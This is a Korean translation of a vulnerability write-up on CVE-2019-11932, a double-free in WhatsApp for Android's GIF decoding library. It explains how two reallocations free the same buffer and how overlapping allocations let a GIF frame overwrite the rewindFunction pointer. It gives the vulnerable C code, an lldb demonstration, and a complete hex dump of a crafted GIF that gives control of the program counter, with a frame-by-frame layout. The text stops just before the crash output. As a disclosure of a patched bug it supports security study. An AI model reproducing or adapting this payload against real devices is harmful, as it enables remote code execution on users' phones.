
조작된 GIF 파일을 통한 원격 코드 실행으로 이어지는 Android용 WhatsApp의 이중 해제 취약점인 CVE-2019-11932에 대한 기술 문서 및 익스플로잇 코드입니다.
제가 안드로이드 WhatsApp에서 발견한 이중 해제(double-free) 취약점과 이를 RCE로 전환한 방법을 공유하고자 합니다. 이 내용을 Facebook에 알렸고, Facebook은 이를 인지하여 WhatsApp 버전 2.19.244에서 공식적으로 패치했습니다. Facebook은 이 이슈에 대해 CVE-2019-11932를 예약하는 데 도움을 주었습니다.
WhatsApp 사용자 여러분, 이 버그로부터 안전하려면 최신 WhatsApp 버전(2.19.244 이상)으로 업데이트해 주시기 바랍니다.
단계는 다음과 같습니다:
한 가지 방법은 WhatsApp에서 문서(Document)로 보내는 것입니다 (예: 클립 버튼을 누르고 문서를 선택하여 변조된 GIF 전송) 공격자가 사용자의 연락처 목록에 있다면 (즉, 친구라면), 변조된 GIF는 사용자의 상호작용 없이 자동으로 다운로드됩니다.
사용자는 아무것도 보낼 필요가 없다는 점에 유의하세요. WhatsApp 갤러리를 여는 것만으로 버그가 트리거되기 때문입니다. WhatsApp 갤러리를 누른 후 추가 터치는 필요하지 않습니다.
WhatsApp 사용자가 WhatsApp에서 갤러리 보기를 열어 미디어 파일을 보내려고 하면, WhatsApp은 libpl_droidsonroids_gif.so라는 네이티브 라이브러리로 GIF 파일을 파싱하여 미리보기를 생성합니다. libpl_droidsonroids_gif.so는 오픈 소스 라이브러리이며, 소스 코드는 https://github.com/koral–/android-gif-drawable/tree/dev/android-gif-drawable/src/main/c 에서 확인할 수 있습니다.
GIF 파일은 여러 개의 인코딩된 프레임을 포함합니다. 디코딩된 프레임을 저장하기 위해 rasterBits라는 이름의 버퍼가 사용됩니다. 모든 프레임의 크기가 같으면, rasterBits는 재할당 없이 디코딩된 프레임을 저장하는 데 재사용됩니다. 그러나 다음 세 가지 조건 중 하나가 충족되면 rasterBits가 재할당됩니다:
재할당은 free와 malloc의 조합입니다. 재할당 크기가 0이면 단순히 free입니다. 크기가 100, 0, 0인 3개의 프레임을 가진 GIF 파일이 있다고 가정해 보겠습니다.
이로 인해 이중 해제 취약점이 발생합니다. 트리거 위치는 decoding.c에서 찾을 수 있습니다:
int_fast32_t widthOverflow = gifFilePtr->Image.Width - info->originalWidth; int_fast32_t heightOverflow = gifFilePtr->Image.Height - info->originalHeight; const uint_fast32_t newRasterSize = gifFilePtr->Image.Width * gifFilePtr->Image.Height; if (newRasterSize > info->rasterSize || widthOverflow > 0 || heightOverflow > 0) { void *tmpRasterBits = reallocarray(info->rasterBits, newRasterSize, <<-- double-free here sizeof(GifPixelType)); if (tmpRasterBits == NULL) { gifFilePtr->Error = D_GIF_ERR_NOT_ENOUGH_MEM; break; } info->rasterBits = tmpRasterBits; info->rasterSize = newRasterSize; }
안드로이드에서 크기 N의 메모리를 이중 해제하면 크기 N의 연속된 두 메모리 할당이 동일한 주소를 반환하게 됩니다.
(lldb) expr int $foo = (int) malloc(112) (lldb) p/x $foo (int) $14 = 0xd379b250
(lldb) p (int)free($foo) (int) $15 = 0
(lldb) p (int)free($foo) (int) $16 = 0
(lldb) p/x (int)malloc(12) (int) $17 = 0xd200c350
(lldb) p/x (int)malloc(96) (int) $18 = 0xe272afc0
(lldb) p/x (int)malloc(180) (int) $19 = 0xd37c30c0
(lldb) p/x (int)malloc(112) (int) $20 = 0xd379b250
(lldb) p/x (int)malloc(112) (int) $21 = 0xd379b250
위 스니펫에서 변수 $foo가 두 번 해제되었습니다. 결과적으로 다음 두 할당($20과 $21)이 동일한 주소를 반환합니다. 이제 gif.h의 struct GifInfo를 살펴보겠습니다. struct GifInfo { void (*destructor)(GifInfo *, JNIEnv *); <<-- there's a function pointer here GifFileType *gifFilePtr; GifWord originalWidth, originalHeight; uint_fast16_t sampleSize; long long lastFrameRemainder; long long nextStartTime; uint_fast32_t currentIndex; GraphicsControlBlock *controlBlock; argb *backupPtr; long long startPos; unsigned char *rasterBits; uint_fast32_t rasterSize; char *comment; uint_fast16_t loopCount; uint_fast16_t currentLoop; RewindFunc rewindFunction; <<-- there's another function pointer here jfloat speedFactor; uint32_t stride; jlong sourceLength; bool isOpaque; void *frameBufferDescriptor; };
그런 다음 아래 크기의 세 프레임을 가진 GIF 파일을 제작합니다: sizeof(GifInfo) 0 0
WhatsApp 갤러리가 열리면, 해당 GIF 파일은 rasterBits 버퍼(크기 sizeof(GifInfo))에서 이중 해제 버그를 트리거합니다. 흥미롭게도 WhatsApp 갤러리에서는 GIF 파일이 두 번 파싱됩니다. 해당 GIF 파일이 다시 파싱되면 다른 GifInfo 객체가 생성됩니다. 안드로이드의 이중 해제 동작으로 인해 GifInfo info 객체와 info->rasterBits는 동일한 주소를 가리키게 됩니다. DDGifSlurp()는 첫 번째 프레임을 info->rasterBits 버퍼로 디코딩하여 info와 그 rewindFunction()을 덮어씁니다. rewindFunction()은 DDGifSlurp() 함수의 끝에서 호출됩니다.
제작해야 할 GIF 파일은 다음과 같습니다: 47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 CE 57 2B 6F EE FF FF 2C 00 00 00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00 3B
4개의 프레임을 포함합니다: 프레임 1: 2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 CE 57 2B 6F EE FF FF 프레임 2: 2C 00 00 00 00 1C 0F 00 00 00 00 프레임 3: 2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 프레임 4: 2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00 WhatsApp 갤러리가 열릴 때 발생하는 시퀀스는 다음과 같습니다:
첫 번째 파싱: 초기화: GifInfo info = malloc(168); 프레임 1: info->rasterBits = reallocarray(info->rasterBits, 0x80x15, 1); 프레임 2: info->rasterBits = reallocarray(info->rasterBits, 0x00xf1c, 1); 프레임 3: info->rasterBits = reallocarray(info->rasterBits, 0x00xf1c, 1); 프레임 4: 중요하지 않음, 이 GIF 파일을 유효하게 만들기 위해 존재함 두 번째 파싱: 초기화: GifInfo info = malloc(168); 프레임 1: info->rasterBits = reallocarray(info->rasterBits, 0x80x15, 1); 프레임 2, 3, 4: 중요하지 않음 종료: info->rewindFunction(info); 첫 번째 파싱에서 이중 해제 버그가 발생하기 때문에 info와 info->rasterBits는 이제 동일한 위치를 가리킵니다. 첫 번째 프레임을 위와 같이 제작하면 info->rewindFunction(info);가 호출될 때 rewindFunction과 PC를 제어할 수 있습니다. 참고: 모든 프레임은 LZW로 인코딩되어 있습니다. 프레임을 인코딩하려면 LZW 인코더를 사용해야 합니다. 위의 GIF는 다음과 같은 크래시를 트리거합니다: